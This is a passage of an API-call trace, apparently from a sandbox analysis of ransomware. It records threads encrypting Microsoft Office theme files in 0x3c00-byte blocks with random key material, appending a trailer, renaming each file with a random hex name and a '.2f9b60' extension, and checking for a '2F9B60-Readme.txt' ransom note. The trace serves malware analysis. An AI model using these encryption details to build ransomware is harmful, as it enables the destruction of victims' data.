(HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0111.145] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x337ffcf0, FileInformation=0x1b776af0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0111.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0111.147] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x337ffcb8, FileInformation=0x337ffcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x337ffcb8, FileInformation=0x337ffcc8) returned 0x0 [0111.147] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x337ffcb8, FileInformation=0x337ffcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0111.148] FlushFileBuffers (hFile=0x15e0) returned 1 [0111.150] CloseHandle (hObject=0x15e0) returned 1 [0111.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.151] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.151] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64f20) returned 1 Thread: id = 1070 os_tid = 0x1760 [0111.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0111.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx", dwFileAttributes=0x20) returned 1 [0111.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0111.161] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x1feefa80 | out: lpFileSize=0x1feefa80*=18639) returned 1 [0111.162] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x48cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.162] ReadFile (in: hFile=0x1574, lpBuffer=0x1feefa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1feefa48, lpOverlapped=0x0 | out: lpBuffer=0x1feefa00*, lpNumberOfBytesRead=0x1feefa48*=0x4, lpOverlapped=0x0) returned 1 [0111.164] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d90 [0111.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7dc0 [0111.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.165] NtQuerySystemTime (in: CurrentTime=0x1feef940 | out: CurrentTime=0x1feef940*=132462177166330000) returned 0x0 [0111.165] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x3371d46f [0111.165] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x4fabb0e9 [0111.165] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x44fbff69 [0111.165] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x75437b20 [0111.165] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x589caaaf [0111.165] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x48e72cfb [0111.165] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x5ab70c62 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x630ba06b [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x49787b60 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x60ccd878 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0xb5d2344 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x4267cb28 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x6ea493c1 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x17d2e9ec [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x11b56758 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x646b20a5 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x6c277461 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x732d1bbc [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x3462e30 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x53bcb697 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x5fbed613 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x1e3450e6 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x4410bfd0 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x48c4c7be [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x18f29f [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x6ab99f92 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x431eab6e [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x1dde1c85 [0111.166] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x6296f922 [0111.167] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x37e7b322 [0111.167] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x9c7be49 [0111.167] RtlRandomEx (in: Seed=0x1feef930 | out: Seed=0x1feef930) returned 0x6661fe65 [0111.176] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.176] ReadFile (in: hFile=0x1574, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1feef9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x1feef9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.177] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d90 [0111.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d90) returned 1 [0111.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0111.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d90 [0111.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c10) returned 1 [0111.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.178] WriteFile (in: hFile=0x1574, lpBuffer=0x41e84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1feef9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesWritten=0x1feef9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0111.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0111.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.181] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.181] WriteFile (in: hFile=0x1574, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x1feefa50, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x1feefa50*=0x104, lpOverlapped=0x0) returned 1 [0111.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ca0) returned 1 [0111.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0111.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0111.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a75b0 [0111.183] sprintf (in: _Dest=0x202a75b0, _Format="%c%c" | out: _Dest="a1") returned 2 [0111.183] sprintf (in: _Dest=0x202a75b2, _Format="%c%c" | out: _Dest="e9") returned 2 [0111.183] sprintf (in: _Dest=0x202a75b4, _Format="%c%c" | out: _Dest="19") returned 2 [0111.183] sprintf (in: _Dest=0x202a75b6, _Format="%c%c" | out: _Dest="c7") returned 2 [0111.183] sprintf (in: _Dest=0x202a75b8, _Format="%c%c" | out: _Dest="a6") returned 2 [0111.184] sprintf (in: _Dest=0x202a75ba, _Format="%c%c" | out: _Dest="25") returned 2 [0111.184] sprintf (in: _Dest=0x202a75bc, _Format="%c%c" | out: _Dest="d3") returned 2 [0111.184] sprintf (in: _Dest=0x202a75be, _Format="%c%c" | out: _Dest="54") returned 2 [0111.184] sprintf (in: _Dest=0x202a75c0, _Format="%c%c" | out: _Dest="0b") returned 2 [0111.184] sprintf (in: _Dest=0x202a75c2, _Format="%c%c" | out: _Dest="0e") returned 2 [0111.184] sprintf (in: _Dest=0x202a75c4, _Format="%c%c" | out: _Dest="64") returned 2 [0111.184] sprintf (in: _Dest=0x202a75c6, _Format="%c%c" | out: _Dest="fa") returned 2 [0111.184] sprintf (in: _Dest=0x202a75c8, _Format="%c%c" | out: _Dest="34") returned 2 [0111.184] sprintf (in: _Dest=0x202a75ca, _Format="%c%c" | out: _Dest="a0") returned 2 [0111.184] sprintf (in: _Dest=0x202a75cc, _Format="%c%c" | out: _Dest="87") returned 2 [0111.184] sprintf (in: _Dest=0x202a75ce, _Format="%c%c" | out: _Dest="2e") returned 2 [0111.184] sprintf (in: _Dest=0x202a75d0, _Format="%c%c" | out: _Dest="1b") returned 2 [0111.184] sprintf (in: _Dest=0x202a75d2, _Format="%c%c" | out: _Dest="5f") returned 2 [0111.184] RtlInitAnsiString (in: DestinationString=0x1feefac8, SourceString="a1e919c7a625d3540b0e64fa34a0872e1b5f" | out: DestinationString="a1e919c7a625d3540b0e64fa34a0872e1b5f") [0111.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x1feefa98, SourceString="a1e919c7a625d3540b0e64fa34a0872e1b5f", AllocateDestinationString=1 | out: DestinationString="a1e919c7a625d3540b0e64fa34a0872e1b5f") returned 0x0 [0111.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7ceac0 [0111.185] wcscat (in: _Dest=0x1cd64e70, _Source="a1e919c7a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a1e919c7a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a1e919c7a" [0111.185] wcscat (in: _Dest=0x1cd64e70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a1e919c7a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a1e919c7a.2f9b60" [0111.185] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a1e919c7a.2f9b60", NtPathName=0x1feefa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a1e919c7a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119720 [0111.185] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x1feefb10, FileInformation=0x119720, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0111.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 [0111.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.187] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x1feefad8, FileInformation=0x1feefae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1feefad8, FileInformation=0x1feefae8) returned 0x0 [0111.188] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x1feefad8, FileInformation=0x1feefae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64e70) returned 1 [0111.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceac0) returned 1 [0111.190] FlushFileBuffers (hFile=0x1574) returned 1 [0111.194] CloseHandle (hObject=0x1574) returned 1 [0111.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.196] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.196] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64fd0) returned 1 Thread: id = 1071 os_tid = 0x1764 [0111.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0111.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx", dwFileAttributes=0x20) returned 1 [0111.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0111.200] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x33a6fc40 | out: lpFileSize=0x33a6fc40*=350689) returned 1 [0111.200] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x559dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.201] ReadFile (in: hFile=0x1574, lpBuffer=0x33a6fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33a6fc08, lpOverlapped=0x0 | out: lpBuffer=0x33a6fbc0*, lpNumberOfBytesRead=0x33a6fc08*=0x4, lpOverlapped=0x0) returned 1 [0111.203] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0111.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d00 [0111.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.203] NtQuerySystemTime (in: CurrentTime=0x33a6fb00 | out: CurrentTime=0x33a6fb00*=132462177166798000) returned 0x0 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0xf532430 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x179438eb [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x57980da3 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0xa96dd6 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x92eb830 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0xd25704b [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x173fac63 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x341fcd1 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x788bc115 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x7ef2c770 [0111.203] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x4b64e96b [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x4f06e9be [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x319891d [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x1405fcd3 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x6190a703 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x2bf8cc55 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0xcde6581 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x6e16ad96 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x4eef458e [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x471353fd [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x179555ce [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x5572359 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x5e31fbcc [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x1d2c6304 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x5793ff3a [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x3e988e35 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x151ffadb [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x706ab16f [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x190cd12c [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x55cc0ab [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x6996cf88 [0111.204] RtlRandomEx (in: Seed=0x33a6faf0 | out: Seed=0x33a6faf0) returned 0x301e53bc [0111.237] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.237] ReadFile (in: hFile=0x1574, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33a6fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x33a6fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.244] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0111.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7df0) returned 1 [0111.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0111.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7df0 [0111.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0111.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0111.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.245] WriteFile (in: hFile=0x1574, lpBuffer=0x41e84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33a6fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesWritten=0x33a6fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0111.649] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.649] ReadFile (in: hFile=0x1574, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33a6fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x33a6fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.652] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0111.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7eb0) returned 1 [0111.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0111.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fd0 [0111.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7fd0) returned 1 [0111.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.653] WriteFile (in: hFile=0x1574, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33a6fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x33a6fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.658] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x51de1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.658] ReadFile (in: hFile=0x1574, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33a6fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x33a6fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.671] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x51de1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fd0 [0111.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7fd0) returned 1 [0111.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0111.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fd0 [0111.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0111.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8030) returned 1 [0111.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.672] RtlFreeHeap (HeapHandle=0xa0000, 